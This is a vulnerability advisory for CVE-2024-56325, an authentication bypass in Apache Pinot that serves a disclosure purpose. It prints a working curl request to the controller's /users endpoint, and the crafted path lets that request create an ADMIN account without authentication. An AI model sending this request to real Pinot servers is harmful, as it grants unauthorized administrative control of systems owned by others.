CVE-2024-56325

CVE-2024-56325: Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

Vendor Apache Software Foundation
Product Apache Pinot
Weakness CWE-288
Published April 1, 2025
Last update October 27, 2025

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What the vulnerability does

Description

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

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Disclosure timeline

April 1, 2025 CVE published
October 27, 2025 Record updated